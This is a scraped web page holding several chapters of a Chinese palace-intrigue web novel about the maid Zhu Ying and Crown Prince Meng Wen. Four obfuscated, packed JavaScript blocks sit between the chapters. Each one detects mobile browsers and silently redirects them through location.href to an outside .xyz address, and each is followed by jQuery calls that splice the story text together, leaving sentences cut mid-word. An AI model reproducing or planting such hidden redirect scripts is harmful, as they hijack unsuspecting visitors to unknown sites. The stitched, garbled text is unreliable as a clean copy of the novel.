d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427039|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个通人性的,虽厌恶她,不常见面就是了,也不会刻意刁难。 洗春阁在何处,她倒从未去过。 到了才发现,此处竟有幽篁,迂回曲折的连廊在竹丛中若隐若现,直通洗春阁。 白雪廊下,冬风过境揽得竹节互相敲打,发出声声轻鸣。 竺影从廊间走过,乍以为回到了云琅城的故居。 是耶非耶,如梦恍惚。 有个宫人嫌连廊弯绕,偏要走雪地里的直道,谁知脚底一滑摔倒在雪地里。 徴音见了,赶忙过去搀扶,被羽音拽住了裙摆,也不慎滑倒在地。 另两个想过去帮忙的宫女,一个踩了裙子,一个绊了脚跟,稀里糊涂滚到了一块去。 凛风鸣竹的庭院里,雪还在下着,那几个满身狼狈的宫女却抱头挤在一起,笑得上气不接下气。 少女无邪,总是天真又美好。 笑着笑着,不知是谁突然说了一句:“要是皇后还在就好了。” “她见了这一幕,也一定会笑的吧,哪怕是笑话我笨手笨脚也好。” 所有人都愣了一下,不多久,有人低头藏起湿润的眼,有人抹着眼泪开始抽噎,而那个最先开口的人呆愣着,不知所措。 竺影停在廊下,木然望着这一幕,不知为何舍不得就此离去,便伫足在此看了一时半刻。 不远处传来一阵很轻的脚步声,挟着衣料摩挲的声音到了她身后。 竺影早有察觉,转过头时还是被他吓了一跳,慌忙行礼道了一声“太子殿下”。 孟闻淡淡应了声,也看着那几个抱在一团的宫女,没作斥责。 过了半晌,等她们心情平复了些许,他才朝那边的人开口:“早晨吩咐你去办的事,全然忘了吗?” 徴音匆匆爬起来,拂去身上雪粒,说道:“本来要去的,现在我得回去换衣裳了,能不能换个人替我去啊?” 竺影心中隐隐有不好的预感。 果然,孟闻的视线在几个宫人身上扫了一圈,最后落在她身上。 “你可有空闲?” 竺影不太情愿地看着他,她可以说没有吗? 不等她拒绝,孟闻又道:“不是什么难事,只是路途远些。需到掖庭的松龄舍取一样东西,你见到一个叫温成的宫人,同他表明来意,他自会把东西给你。” 竺影点点头答应了,此人定是在存心刁难她。 掖庭在章华殿左,东宫在章华殿右,几乎横跨了整座宫城的,路程远了不止一星半点。 更别提此刻天阴沉沉,眼看又要飞雪了。 她抱着一柄纸伞,揣着满腹怨气踏出宫门,没走多远,却在不远处见到了入宫的孟晓。 他是来见孟闻的。 竺影似猜到了,原来叫她专程跑这一趟,是为了支开她。 皑皑茫茫间,齐王的身影没入宫门,不曾转头,没看到她,于是乎就此错过。 彼时太子正坐在洗春阁中温书。 商音领着齐王前往,到了地方,留宁蒹守在门外,孟晓独自走了进去。 略去礼节,孟闻一指对座之席,道:“坐吧。” 孟晓恍若未闻,于书房绕了一圈,又在太子眼前踱步,最后啧啧感叹:“瞧瞧这偌大屋宇,这回你真要好好谢一谢我。不过这地方,稍显冷清了。” 孟闻道:“刚搬来,无暇收拾。” 孟晓道:“我倒忘了,你在西苑时,凡事都须得亲力亲为,如今还不习惯吧?” 孟闻不欲与他闲谈,合上书卷,直面问起:“皇兄去了掖庭,可寻到要找的人了?” 孟晓回看向他,说道:“不曾。” 孟闻道:“我记得原先问过皇兄,那时兄不置可否,我以为她与你无甚关系,才交由掖庭处置了。” “如此啊……”孟晓垂眼背过身去,只有一手背在身后,死死攥着,攥得骨节都泛白。 他淡淡嗤出一笑:“这人是我从林场里拾得的,本是个有罪之人,却侥幸逃过了围猎捡回一命,我便将她带回来安置在宫里。我原要提醒三郎,她有些底细我尚不清楚,这样的人还是不要放在身边为好,既然已经死了……那便罢了。” 孟闻听他不用“救下”,也不用“留下”,偏用“拾得”这样的字眼,好像她是什么物件。 一瞥孟晓腰间,挂着一只黛蓝香囊,其下系着酢浆草结,倒是有些熟悉。 他叹道:“如此说来,是我对不住皇兄,只是此事我实不知。” 孟晓没有发作,仅是不断说着:“罢了,罢了。” 本是他母亲的罪过,害死了鸣鸾宫那位,也坏他计策,到头来却是用一个宫人了结此事,如此,才算罢了。 20. 凛风鸣竹(十) 竺影到松龄舍取回个包裹得严严实实的木函,归时没有下雪,只是天空依旧阴沉。 齐王已经离开了,太子此时坐在书架侧,一手凑近银炉烤火,一手持卷默读。 竺影推门而入,说道:“殿下,东西取回来了。” “放那儿。”孟闻垂目看书,连眼皮都懒得掀,只抬手一指,示意她把匣子放在案上。 竺影放下信函,恭恭敬敬地行过礼,便要离去。 刚走到门口,那人却漫不经心地道:“齐王来了一趟,你来的路上,可有见到他?” 竺影步子滞住,扶住门的手突然失了力,任由冷风卷入,吹得两扇门开开合合,敲在墙上“砰砰”作响。 更漏里的水凝成了冰,不闻道道滴水声。银炉里时不时传来“噼啪”一声,飞出一点火星。 “不曾见着。” 她声音低低的,也不知那人听不听得到。 “把门掩上,过来。”他如常吩咐着。 竺影慢吞吞转头,透过堆叠的书卷缝隙,窥望那人身影。 那双寂静的眸凝视过来,目光倏尔落在她身上,并不如何生气。 她转而照做,施施然将门扣上,指甲在朱漆上留下一道浅浅的划痕。 挪着步子过去时,听他一字一句,与她的每一步皆似有千斤重。 “似乎忘了告诉你,齐王一开始来找我问询你的下落。我告诉他,差人将你在送去了掖庭。是故那日他在掖庭,便是为寻你而去的。” 竺影愕然移目看他,他目光直直,一字一顿道:“我同他说你死了。” 她听了这话,一时不知是惶恐更甚,还是气愤更多。 他不蠢啊,清楚知道她说过的每一句谎,猜到齐王对他的算计,也反过来还之彼身。 既如此,那日在掖庭宫外,何必问她,又何必留下她? 竺影不了解他,猜不到他心中所想,于是壮着胆子问询:“那么殿下,为何还要留下小人呢?” 孟闻放下书卷,轻言轻语道:“虽有欺瞒,罪不至死,谅你也是替旁人办事,替旁人顶罪而已。” 他如此解释,一言蔽之。 她低着头,走到他面前,又听他问:“你的主子先前弃了你,又何故来寻你?” 她说:“小人不知晓。” 孟闻道:“使我不解的是,他若真在意一个人的死活,当日出宫开府,为何没带上你?莫非是你不愿随他去?” 竺影道:“过往之事尽数与小人无关了,齐王府已非容身之所,小人得殿下收留,感激不尽。” 他哂笑:“你还挺识时务?” 她道:“人之常情。” 一场雪落了,几片雪花飞进窗子,融化在朱窗上。 孟闻的视线越过她肩头,落在那方取回来的信函之上。 他执一张薄纸离席走下来,于案前落座,轻启木匣。 匣中仅仅装着些纸页,上面的字迹密密麻麻,除此之外并无他物。 “这是你那日写下的药方。” 他说着,便将那药方与函中的纸页作比对。 那张药方并无问题,竺影本不必为此心虚。 可他仔仔细细查看过那药方,一开口,却是醉翁之意不在酒。 “你这手字,斜勾不出勾,倒是似曾相识。” 此话一出,令竺影愣在一旁,如同傻子。 他竟不按常理出牌,不顾药方上写的什么,直接开始琢磨起她的字迹。 怎么可能呢?他怎么可能见过这一手字? 为了免去麻烦,竺她还有意将字迹换成了入宫前的笔迹,宫中之人除了些许旧识,还有何人会知晓? 本还存了一丝侥幸,可是下一刻他就放下了药方。 那双清冷的眸子睨着她,又多几分笃定。 “我知道你是谁了。”他说。 竺影心口跳了跳,眼中有不可名状的惊惶。 “竺家女郎。” 话音落地,那柄悬于她心头的刀匕也随之落下。 明明她此前隐瞒得这么好,他如何会猜到? 她想知道那信函中装的究竟是什么。 难不成是那日在秘阁,三皇子看过她交给小谢大人的那封书信? 小谢大人与祝大人六年师生情分,难不成也会阳奉阴违,背着祝大人行事? 会用到这字迹的,就只剩她求人送去交州的家书了。 可那家书好端端的,又怎么会落到他手里? 孟闻单单侧目看了她一眼,竺影即刻起身退到一旁,避席长拜。 他问道:“这是做什么?” 既无威胁,又非责问,只一个身份,偏偏吓得她跪伏在地,寒战不已。 竺影道:“小人不知,殿下如何能见到小人的字迹?” 孟闻道:“从前在太学,我与令兄竺鸣琅,曾有一段同席研磨的情谊。” “有一年太学考试中,他误交了一份策论,本也不是什么大事,将其换下便是。可偏偏这文章落到了我的老师手里。恩师道其言辞辛辣,却也鞭辟入里,于是请诸位先生过目,有先生评之为上乘,亦有先生视其为异端。我料想竺清写不出那样的章句,如今想来,那篇文章是你的手笔?” 竺影不言,他继而从纸上单拈出一句来,问她道:“君言真章纸上见,何故不上章华殿?这句是你写的?” “是。”她直起身来,不曾否认。 眼前人脱口而出的,正是她少时不知天高地厚的章句。 原来是因着她兄长的缘故,如此想来,竺影心中倒轻松些许。 孟闻放下那些纸页,不再细究了,只同她叮嘱道:“从今往后只需记住,静和宫的鸣竹已死,你从前叫什么名字,以后就叫什么。” 太子殿下已经如此宽宏地发了话,她本该见好就收,谢恩退下。 可她还是没忍住顶撞一句:“有没有可能,鸣竹就是我的字……” 孟闻瞪了她一眼。 竺影道:“这的确不是假名。家中人本想给我取字明珠,却嫌这二字太俗,恰闻廊下有风过,翠竹声鸣,遂以‘鸣竹’为字。这是家人曾千呼万唤的名字,小人不愿舍弃。” 可他在此时望向窗外,见洗春阁之外也是这样一番光景,有风鸣竹,如碎玉声。 对于她的话,也不知是信了,还是不信。 他又问:“本名呢?” 她答:“竺影。” 敷衍得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436809|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能再敷衍的回答,也不同他说是哪一个“影”。 孟闻扣上信函,缓缓走到她面前蹲下,与之平视。 “据我所知,前任竺太常与其夫人现流放交州梧县?” “殿下!”竺影哀求着他,“若小人有过错,悉听殿下发落,能否请殿下不要迁怒小人的家人?” 孟闻道:“你着什么急?交州也不是什么坏地方,从前舅父奉命守交州,先母也是在那里长大。” 本是出言安抚,在她眼里却成了威胁。 他道:“你本是官家女,却在宫中为奴为婢六年,更是在静和宫受尽搓磨,险些丧命……倒也可怜。我给你个做主子的机会,如何?” 竺影暗道一声“完蛋”,只顾装傻便是了。 她避开这人视线,战战兢兢作答:“殿下所言,小人听不懂。” “这也听不懂?那我留着你做什么?”孟闻凝着她低垂的面庞,话音突然严肃,乃至忽视了自己并不得体的直视。 “颇有心计,就是性子软了些,当真可惜。但愿齐王下回再来的时候,你最好是真的不懂。” 他略感遗憾站起身,也叫她起来。 “起来吧,你跪了是要使我夭寿的。” 竺影遂站起身,视线追随着他,直到他重新落座,又拿起先前翻看的那一本书来。 她又问:“可还记得,我留你在洗春阁做什么?” 竺影道:“殿下不想因小人伤了与齐王的情谊,但留小人在此,总不会是为了来日去寻齐王的不痛快吧?” “嗤——”他忽然失笑,抬手指了指她身后的千百卷典籍,说道,“看到满屋子的书了吗?” 她顺着他指的方向看去。 孟闻道:“我记得让徴音嘱咐过你,勿忘了常往架上添些芸草,别让书里生了蠹鱼*。此外,一楼茶室靠左的茶案上有一副杯盏,你须每日煮茶养护着,明白?” 竺影连连点头道:“明白。” 她刚松了口气,很快又反应过来,每日过来?岂不是天天要在他面前晃悠? 此人分明厌极了她才是啊。 莫不是作卧薪尝胆、忍辱负重之用,时时提醒自己? 竺影如是想着。 他又坐回原处看书,今日这事,貌似就这样揭过去了。 “殿下。”她小心翼翼地请示,“若无旁的事,小人是否可以离开了?” 他不抬首,冷嗤一句:“奴颜婢膝。” 真真是莫名其妙啊,从始至终没什么逾礼之处,这话不知怎么就惹到了他。 一想明日依旧是如此难捱,不禁悲从中来。 竺影悻悻地低下头,问他道:“那小人是走还是不走?” 孟闻道:“去罢,记得明日辰时过来。” 她颔首应了声是,本将离去,身后突然传来他的轻语。 “往后莫要这般自称了,让外面的人知晓,有损于东宫名声。” 竺影无言抬头,乍见不远处的架上垂下一个青绿丝线编织的酢浆草结。 是她旧年所系,曾赠予冷宫中人,不知怎的到了这里。 她不回头,没应声。只是在他乖戾的外表下,察觉一丝秉性温良的影子,像从前的陆皇后。 21. 春回醒枝(一) 冬日天亮得晚,晨起时窗外还是灰蒙蒙一片,未见晨光。 洗春阁中早有身影在忙碌,太子叫她辰时再过来,可她卯时就在此处点书了。 孟闻踩着寒霜到书房,见架上的书都被搬空了,零零散散地摞在地上。 而她坐在书海中,埋头在写些什么。 “在做什么?”孟闻问道。 竺影道:“做编目和索隐,以后殿下找书会方便些。” 孟闻并未斥责她自作主张,只是有些惊讶,问她道:“你从前在静和宫里,也是做这些?” 不知道的,还以为她曾在秘阁当值。 竺影道:“自然不是,齐王不爱读书。” “哦——”孟闻阴阳怪气,“那你倒是来对了地方。” 她闻言嗤嗤,某人竟也知道自己的书房有多杂乱。 上千册书卷堆放在眼前,等着她一一编序。有些陈年的册子,线装腐朽了,不得不拆了重新装定,还有些纸张腐朽更严重的,便得重新誊抄了。 是个不小的活计。 这些事,在秘阁有专门的人去做,洗春阁却没有。 只有她一个女史。 孟闻于案前落座,又捧起昨日看的那本《禳灾》。一手翻书,一手提壶倒茶,却发现茶壶里是空的。 不等他发话,竺影就已搁下手头纸笔,默不作声走过去,捧起茶壶去烹茶。 那是一套很旧的茶具了,杯子的裂痕洇进了茶色,杯底粗糙,也算不上名贵,他却待之如珍似宝,每日烹茶养护。竺影猜,这应该是先皇后留下的旧物。 只是她不清楚这人喜好,于是依着二皇子煮茶的习惯,如法炮制。 竺影正剥橘皮时,孟闻忽然说道:“我只要茶水,不要茶粥。” 可橘子已剥了一半,她想着,若将剥好的橘瓣送到他案前去,未免太过讨好,说不准这人还会疑心她居心叵测。 索性自己吃掉。 悄悄尝了一口发现不太对劲,东宫的橘子很酸,像有人刻意针对这位太子,专挑了最涩口的果子送来。 匆匆咽下喉间酸涩,竺影赶忙将余下的两个橘子也剥了,整整齐齐码在瓷碟里给他端去。 孟闻瞥了一眼,没说什么。 竺影后来烹好的茶,他也没动一口。 罢了罢了,省却许多事情。 她又回到书架间,将已经编目的书本上架。 午时前本该传饭,商音却从阁外来禀。 “殿下。” “何事?” “襄王来了。” “他来做什么?” 齐王前脚刚走,另一个兄长后脚就来,两位兄长生怕他这东宫不够热闹。 襄王孟觉,字善知,是当今陛下长子,生母是薛贵人。十八岁封王出宫开府,后又调任封地,常年待在荆州,故而与宫中兄弟姊妹算不上亲近。 所以他今日突然拜访,在孟闻意料之外。 商音问:“殿下不想见的话,是否要推辞?” 孟闻道:“不必。皇兄既来见我,我也没有避而不见的道理。” 他放下书卷,亲自到宫门口迎接。 在西苑的这些年里,孟闻只听说这位兄长的左腿受过伤,是早年在林场中狩猎,不慎堕马所致。当时医治不当留下了隐疾,此后行走颇受限制。 尽管孟觉平日里极力遮掩,穿着宽大衣袍遮蔽,仔细看时,依然能发现他是跛足,走起路来肩膀一高一低。 或许旁人之凝视于他而言,与冒犯一般无二。 孟闻只看了一眼,便收敛了直视的目光,待他走上前来,与之行礼。 “三郎。”话一出口诧觉不妥,他又改口,“不——如今该称太子了。” 孟觉是习武之人,声音洪亮,上来便伸手揽过孟闻的肩,仿佛天生熟络。 孟闻一面拨开他的手,一面问道:“皇兄此时前来,有何贵干?” 孟觉微微蹙眉道:“怎么?这是不欢迎我?” 孟闻道:“皇兄说笑了,只是此地狼藉,不便待客,还请皇兄移步别处落座。” 不知为何,明明可以到崇庆殿待客,太子偏偏请襄王来了洗春阁。 昨日齐王也是来此,他待两位兄长也要一碗水端平似的。 太子与襄王议事,竺影自觉回避,退出阁中。 襄王兴许认出了她,只是碍于太子在场,不好当面发作。 两人对坐于漆木屏风前,孟闻将竺影先前剥好的橘子挪至孟觉身前,微笑道:“皇兄,吃橘子。” 孟觉本来还面带笑意,然而等拈起一瓣橘子放进嘴里,橘汁酸得他牙关发颤,瞬间面目扭曲。匆匆咽下酸涩,又赶忙就了一口茶去送。 哪料口中酸味未褪,茶水更是苦不堪言。 “呸——” 孟觉当即就吐了出来,捶着茶案骂骂咧咧道:“且不说这橘子,就说这茶哪里是给人喝的?那些奴婢是否有意苛待你?” 孟闻面无表情地饮完一杯茶,放下茶杯拱手向他赔礼:“我倒是未发觉,这茶煮好了放在这儿,还未尝过。叫皇兄受苦了,实乃愚弟之过。” 孟觉只得摆手:“不妨事不妨事,你这奴婢定是得换了。” 竺影在门外忍笑艰难。 门内的孟觉又说起:“我听闻你已向父皇请命,开春后前往并州。” 孟闻道:“是,还有月余动身。” 来来去去,说的还是要重修那座观星楼的事。 一说国库空虚,钱从何来;二说若有民怨,如何安抚;三说南边灾患也不少,陛下好歹得分清轻重缓急吧。 可观星楼不仅是陛下的执念,都快成魔障了。 两人在阁中一坐就是两个时辰。 孟闻称有事要忙,并未相送。孟觉便是在洗春阁外的道上见到了竺影。 此处竹丛掩映,回廊曲折,东宫里的人通常看不到这里。 她仓促行过一礼便要逃过去,却被襄王出声喝住。 “站住。” 竺影停在原地,俯身行礼道:“襄王殿下,可有要事吩咐?” “你不是明谌的人吗?怎么会在这里?”孟觉一步步走近,随即生了玩弄的心思。 “还是被他厌弃了?你说,我若是向闻弟讨要你,他会不会答应?” 他咬牙切齿说出这番话,看来也是常常把竺影放在心上了,就是不知是眼中钉,还是肉中刺。 总之,恨不能欲除之而后快。 “可以试试。”竺影并不惧他,反而笑晏晏道,“不过这样的话,襄王的另一条腿,也要仔细了。” 孟觉果真被激怒,猛然掐住她脖子,厉声道:“我看你是不知死活!” 她的确不知死活,如此境地还在发笑,又断断续续挑衅:“我自然活得好好的,反倒是您……每逢冬春雨雪……旧伤发作不好受吧?” 孟觉易怒,经不住挑衅,手上的力道越收越紧。竺影挣扎间,趁机将备好的字条塞进他腰间的香囊里。 孟觉久不松手,她几乎喘不上气。 依照竺影对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456700|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此人的了解,他恨极了某一个人时,怎么会让她轻易就死去? 只是她没想到有人会在这时过来,自她身后传来一道人声: “皇兄为何与我宫里的人过不去?” 孟觉当即敛了怒意,同孟闻说道:“想来三弟宫中嬖女*众多,我单单看上了这一个,不如把她给我如何?以何条件交换,任你来提。” 孟闻想也不想便道:“这人我留着还有些用处,皇兄不必肖想了。” “那还真是可惜——”孟觉不情不愿地松了手,弃她于回廊下。 竺影跌坐在地低着头,肩膀因剧烈的喘息而起起伏伏。 孟觉看出来了,她是在笑啊。 可此处是东宫,今日这仇只得作罢。他将牙咬碎了咽进肚里,愤而挥袖离去。 孟闻缓缓走上前,竺影扶着廊柱起身,捂着胸口久未平复,脖颈上也留下一段红痕。 观她一副窘态,孟闻面无表情道:“为何有意招惹他?” 竺影道:“我没有——” 他却道:“我全都看到了。” 他全都看到了,然后像看戏一般,慢悠悠地走过来。 又总是喜欢这样不带责问地打量,轻言轻语地揭开她的谎。 而她每回被人戳穿了都不说话。 孟闻似有无奈,轻轻叹道:“你还总是能让我意外。” 难怪静和宫要将这麻烦推给东宫,他也未尝料到处置一个宫人会如此棘手。 竺影回怼道:“殿下洞察秋毫,应当在您意料之中才是。” 孟闻道:“休息好了就回阁中去,并州的《河渠书》与《地形志》我找不到了。” 他说罢便缓缓折返于道中。 元月以来,雪已经不再下了。 洗春阁前尽是不秋草与常青木,一片翠阴,他独行期间,竺影也迈步跟上了。 襄王离了东宫,又去往辞月宫拜望生母。 辞月宫之主薛贵人育有一子一女,定遥公主及笄后,下降平原侯。襄王又久在封地,是故她与子女聚少离多,难以得见。 襄王留在辞月宫用饭过后,正要出门闲行。 忽然瞥见走廊尽头有一片衣角,宫人正藏于廊柱后窥他,被他发现后,又含羞逃走。 孟觉追上前去,扯住宫人衣角,将那道身影揽入怀中。 “这么久不见,可有念我?” 玄英嗔怪道:“殿下难得回京,时时刻刻念着也不得见,只余空想罢了。” 一嗔一笑尽数落入他眼眸,孟觉心中大悦,此前在东宫的积郁登时烟消云散。 他低头搂着怀中人道:“这不是一忙完了就来见你?” 玄英忽然说道:“殿下身上的熏香怎么换了?” 孟觉道:“你做的香囊,我从未换过。想来是出入东宫与母亲寝宫,沾染了两处熏香。” 玄英道:“原来如此啊,奴以为殿下已有新欢在侧了。” 孟觉哄着她道:“封地事务繁忙,我哪里得闲去找旁的美人?” 玄英道:“已过去数月,殿下的香囊淡了,奴再为您做个新的好不好?” 她说着便要去解那香囊,却被孟觉扼住一段皓腕,于掌中摩挲。 “新的要做,旧的,我也要留着。” 玄英温柔笑道:“这个让奴拿回去,装一些新的香料,殿下下次入宫时再来向奴讨要。不然殿下日理万机,何时才想起来见奴一面呢?” “依你。”孟觉眼中笑意更甚,任由宫人俯下身将他腰间香囊解去。 22. 春回醒枝(二) 迎春宴也算是国朝几十年的传统,本该设在新正之后,却因着陆皇后的丧礼,推迟到了一月末才举行。 今年迎春太迟,春也来得迟些。 像是天公因国朝怠慢而怨怼,存心要与人间作对。 这个时节不见繁花,宫中便剪彩为幡,点作繁华。一点一点铺陈,饰满鸿嘉殿通往春台的路。 仅仅装点了那一段路,皇帝不会走过的地方,便还是一如既往的萧瑟。 比之往年,这场宫廷雅事不论是开支还是规模,都缩减了许多。以往五六品的朝臣都能进宫来沾沾喜气,今年便只邀了四品之上。 人少,就更显冷清了。 宴始,随着众臣入席,迎春宴很快陷入推杯换盏的繁忙。 皇帝坐在高台的紫幄中,几位后妃侍奉左右。 太子着一身素衣,簪白玉冠,居幄外首座,木讷地端坐着。 两个宫人提了一个巨大的酒钫放在正中,分装进玉壶里,随后送至贵人的食案上。 太子抬眸瞧斟酒的人一眼,目光却顺着她的手一寸寸上移,难免惊讶:“怎么会是你来?” 东宫的女官,此时不该在宴上奉酒。 竺影没应声,默默斟了满杯,轻声劝他一句:“这是河东的白堕酒,今年新酿的,滋味甚佳,殿下且尝尝吧。” 随后又道:“我换成了淘米水,殿下随意。” 声音很低,只有他们两个人能听到。 孟闻提起羽觞来,低头端详,淘米水与白堕酒颜色相近,却没有浮醪。 她什么都没解释,却又什么都明了了。 他斥责道:“你好大的胆子。” 竺影道:“如此一来,殿下就不会显得不合群了。” 皇帝突然看向他这处来,问道:“三郎久不举杯,是否有心事?” 孟闻执杯饮了,皇帝脸上也见了笑意。 他放下羽觞,任他的女官继续添水,顺从了她的阳奉阴违。 孟闻不是第一次知道她的胆大妄为,自作主张。 可鲜有人心思缜密到如斯境地,顾及他热孝在身不能饮酒。紫幄中与众臣举杯共饮的皇帝,便从不在乎此事。 孟闻看着她道:“说说看,你是如何得罪的襄王?” 竺影摇头道:“殿下不会想听。” 孟闻道:“我不想听的话,又怎会问你。” 她依旧不作答。 襄王在场上,披一身织金红羽氅在上座,与大臣们接杯举觞,好不张扬。他明日就要启程前往封地,这场宴算是在为他饯行。 一时风光无两,直到谒者高呼一声: “齐王到!” 众人纷纷停杯投著,目光投向末席。 酒过一巡,齐王才姗姗来迟。 竺影没随着旁人去观他,只是低头添酒,不慎滴漏三两滴淘米水在案上,又默不作声扯袖拭去。 孟晓走到席间,以手加额,朝幄中遥遥一拜。 “儿臣有事耽搁,故而来迟半刻,还望父皇恕罪。” 孟雍放下杯盏,指着他笑道:“二郎,朕早早命人去王府请你,你却依旧来迟,你说说,该怎么罚?” 孟晓道:“儿臣自请入末席,罚酒三杯。” 孟雍道:“好好,可是你自己说的,便依你所言,罚酒三杯。” “谢陛下。”孟晓复又向陛下行了一礼,饮了使者端来的三杯酒,果真退至末席落座。 如此一来,崔家女郎的上首自然就空出来了。那位置本是给齐王留着的。 有人也如那空出来的位置般,心里空落落。 末席与太子的位置隔了极远,竺影不敢观孟晓,她只敢在太子举杯饮水时,悄然窥上一眼。 酒香氤氲,席间喧哗。 孟晓恍若未闻,只端着羽觞轻轻摇晃,任浮醪随觞转,一口也未尝。 甫一抬眼,正好望见了她。 不过一瞬这目光又被阻却,崔月仪抱琴起身,自请为众宾抚琴娱情。 皇帝道一声:“准!” 宴上的笙歌止息,转而响起一阵绵邈的琴音。 崔女公子是京中最负盛名的才女,琴画双绝,传言更是神乎其技,竺影早有耳闻,今日才得亲眼一睹,思绪也被她的琴音一并牵着去。 上一位可以称得上才冠京城的女子,是已故的陆皇后。 竺影总不自觉想到她。 时至今日,人们都不约而同地避开她,避开她的姓氏,对此闭口不谈。 再看座上的皇太子殿下,一壶无甚滋味的淘米水,竟被他喝出了借酒浇愁的气势。 孟闻饮完了最后一杯,重重将羽觞搁在残羹冷炙旁。 竺影晃了晃空酒壶,说道:“没有了,我再去给殿下添一些。” 孟闻没作声,由着她去了。 崔家女郎一曲毕,皇帝笑而抚掌,高声道:“赏!” 崔月仪从座中站起来,盈盈俯身谢恩。 皇帝对着太常称赞道:“朕早听闻你崔慎善教养女儿,今日得见,果然不虚传。起初是祝卿建言,朕还担心错点了鸳鸯谱,如今看来,再没有比这更合适的婚事了。” 原来是祝从嘉的手笔…… 竺影眼中讶异一闪而过,又不动声色地为太子添水。 席间又喧闹起来。 众人也纷纷附和,恭维起崔太常,又称赞齐王与崔女公子真真是璧人一对,佳偶天成。 过不了多久,这段将成的姻缘便会成为京中广为流传的佳话。 孟觉举杯看向孟晓,笑道:“这样好的婚事,看来二郎要好好答谢他一番了。” 孟晓端起杯来回敬,咬牙切齿道:“皇兄说的是,确实要好好‘谢一谢’他。” 可惜祝大人今日称病在家,并未出席。 他这“谢意”,一时间无处宣泄。 皇帝又问起齐王:“依朕所想,不如就趁此机会定下婚期?二郎,你意下如何?” 孟晓却道:“不急。” 旁人听他拒绝的干脆,正疑惑他是要悔婚不成? 很快又听他解释说:“下月三弟要去往并州,儿臣也要往南边去,短期内恐不得归。只怕此时仓促定下婚期,来日多生变故,免不得要拖延。” 孟雍转念一想,点头道:“说的倒也在理,那便等你与三郎回来了,再作商议罢。” 齐王与崔家的事便也过去,无人再提了。 酒过三巡,宴饮结束,宫人前来撤走食盘,竺影也起身请辞:“殿下要与诸位大臣作诗,陛下还等着您先呈诗呢,请容小人先行退去。” 孟闻自然没有留她,只是叮嘱她道:“宴上人多眼杂,别惹是生非。” 不远处支起了帷帐,摆上书案与墨宝。 宾客三三两两移步过去,清风撩拨的纱帐间,有人提笔作诗,有人因诗作画。 竺影离去时,瞥了一眼帐中提笔的齐王,轻执一端衣角,蘸墨转瞬落下三两行。目光仅在青年昳艳的眉目上停留半刻,又匆匆收回。 她匆匆走远,喧闹声也远了。 迎面而来的风是暖和的,春将至了。 等到春归时,粱宫的春台之上应是一片绿意,在这高台上可以望见宫中最盎然的春景。 可眼下何处不萧瑟?何处见春华? 那些位高权重者还沉醉在弦歌酒宴里,借笔墨歌颂圣治,做着虚无缥缈的梦。 只有一个宫人独步春台上,冷眼观繁华。 巍峨宫城如同浸在陈年的醪醴当中,有人嫌它污浊,却也有人为此酣醉。 竺影在此处待了许久,迎着高处的冷风,才稍稍清醒些许。 蓦然回首,见有人正拾级而上。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483486|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彩衣金冠缓缓走近,竺影看清那人面容,却不是孟晓,而是崔家女郎。 竺影下意识回避,等她行至春台上,向她行过一礼便擦肩而过。 崔月仪却侧目看她,意味深长:“我记得你。” 竺影道:“女郎会否错认了?小人与女郎并不相识。” 崔月仪冷笑一声,道:“你从前是齐王的人吧,从见你第一面起,我就知晓。那时你身上佩着和他一样的香。只是没想到你竟有几分本事,这么快就攀上了高枝,我的担心到底是多余了。” 竺影道:“女郎说笑了,何曾有过什么高枝?无非是换了个地方为奴为婢。” 崔月仪道:“我听闻三皇子一出冷宫,你就舍弃了齐王,转而攀附东宫,凭你也想做太子妃,入主鸣鸾宫当皇后吗?” “呀——”竺影不由惊叹,官家子弟自然与宫中奴婢不同,饶舌竟丝毫不避讳。 这样杀头的话,换作是寻常宫人,哪里敢说出口? 也让惯于低头的竺影生出不吐不快的恣意。 她笑道:“您高看我们这些做奴婢的人了,齐王妃的位置我尚且图谋不得呢。” 月仪身边的侍女一听便要发怒:“你这宫奴好大的胆子!竟敢对女郎口出狂言!” 竺影当即反咬一口,道:“我本无意与女郎过不去,女郎何苦来为难我呢?女郎与齐王相知多久,知道他是一个什么样的人吗?莫非以为你受他冷待,是因为我一个小小宫人?” “呸!胡说八道!”侍女指着竺影骂道,“殿下对我家女郎礼重有加,何尝有过冷待?” 